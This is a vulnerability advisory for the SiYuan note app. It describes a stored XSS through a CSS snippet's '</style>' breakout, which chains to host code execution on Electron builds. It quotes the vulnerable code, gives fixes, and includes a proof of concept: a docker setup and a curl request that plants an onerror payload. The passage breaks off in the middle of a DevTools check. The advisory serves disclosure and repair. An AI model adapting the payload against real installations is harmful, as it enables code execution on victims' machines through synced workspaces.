SiYuan: Stored XSS to RCE via CSS-snippet <style> breakout in renderSnippet()
Summary
A CSS snippet body containing </style> breaks out of its surrounding <style> tag when renderSnippet() interpolates it via insertAdjacentHTML. A payload like </style><img src=x onerror="..."> runs arbitrary JavaScript in the renderer. On Electron desktop builds the renderer runs with nodeIntegration:true, so require('child_process') is reachable from the injected handler and the XSS chains to host RCE. Snippets sync via the workspace repository, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that pulls.
The bug also bypasses the user's enabledCSS / enabledJS separation. A user who turned enabledJS off was making a deliberate call not to run untrusted JavaScript; the CSS path runs it anyway.
Details
Affected:
- HEAD
96dfe0b (v3.6.5, 2026-04-21) - Sink:
app/src/config/util/snippets.ts:32 - Source:
/api/snippet/getSnippet, backed by data/snippets/conf.json - Default config:
EnabledCSS: true, EnabledJS: true at kernel/conf/snippet.go:26-27 - Electron config:
nodeIntegration:true, contextIsolation:false, webSecurity:false on every BrowserWindow in app/electron/main.js:307,408-411,1107-1110,1150-1153,1322
The write path stores raw content. kernel/api/snippet.go:107-130 copies Content from the request straight into the snippet record with no HTML escape, no </style> check, no type-specific validation:
```go
snippet := &conf.Snippet{
ID: m["id"].(string),
Name: m["name"].(string),
Type: m["type"].(string),
Content: m["content"].(string),
Enabled: m["enabled"].(bool),
}
```
Storage is workspace-internal and syncs. kernel/model/repository.go:1748,1798 reference data/snippets/conf.json, so the malicious record propagates to every sync peer.
The renderer reads the snippet back through /api/snippet/getSnippet and interpolates it into a <style> tag, raw. app/src/config/util/snippets.ts:32, called on app boot and on the reloadSnippet WebSocket event:
```ts
fetchPost("/api/snippet/getSnippet", {type: "all", enabled: 2}, (response) => {
response.data.snippets.forEach((item: ISnippet) => {
const id = snippet${item.type === "css" ? "CSS" : "JS"}${item.id};
if (item.type === "css") {
document.head.insertAdjacentHTML("beforeend", <style id="${id}">${item.content}</style>);
} else if (item.type === "js") {
// intentional script-loading path
}
});
});
```
${item.content} lands inside the <style> tag. The HTML parser closes the style on the first </style> substring and treats anything after as a sibling of the empty <style> element.
Worth noting: the JS branch right after the CSS one already does the safe thing. It uses document.createElement("script") and sets el.text = item.content. That's a text-node assignment, no HTML parsing. The CSS branch just doesn't use the equivalent on a <style> element, and that's the bug.
Suggested fix
The cleanest fix mirrors what the JS branch already does. Build the element with createElement and set textContent:
```ts
if (item.type === "css") {
const el = document.createElement("style");
el.id = id;
el.textContent = item.content;
document.head.appendChild(el);
}
```
textContent on a <style> element populates the CSS rules without invoking the HTML parser, so </style> in the body is a 4-character text node instead of a close tag.
If touching that line is undesirable, the smaller patch is to escape < before interpolation:
```ts
const safe = item.content.replace(/[&<]/g, c => c === "&" ? "&" : "<");
document.head.insertAdjacentHTML("beforeend", <style id="${id}">${safe}</style>);
```
Either fix on its own closes the bug. Worth also rejecting </style> on the setSnippet backend handler so older renderers pulling the same synced workspace stay safe.
PoC
Stand up SiYuan:
```bash
docker run -d --name siyuan-poc \
-v ./workspace:/siyuan/workspace \
-p 16806:6806 \
b3log/siyuan:latest \
--workspace=/siyuan/workspace --accessAuthCode=hunter2
```
Plant the snippet:
```bash
TOKEN=$(jq -r '.api.token' workspace/conf/conf.json)
curl -X POST http://localhost:16806/api/snippet/setSnippet \
-H "Content-Type: application/json" \
-H "Authorization: Token $TOKEN" \
-d '{"snippets":[{"id":"","name":"poc","type":"css","enabled":true,"content":"</style><img src=x onerror=\"document.title=\\\"SIYUAN_XSS\\\";window.__siyuan_xss=true\">"}]}'
```
Returns {"code":0,"msg":"","data":null}. The snippet now sits at workspace/data/snippets/conf.json verbatim.
Open http://localhost:16806/stage/build/desktop/?r=1 or the Electron app pointing at the same workspace, authenticate, and run in DevTools:
```js
({
markerFired: window.__siyuan_xss === true,
styleCount: document.querySelectorAll('style[id^="snippetCSS"]').length,
imgsInHead: document.h
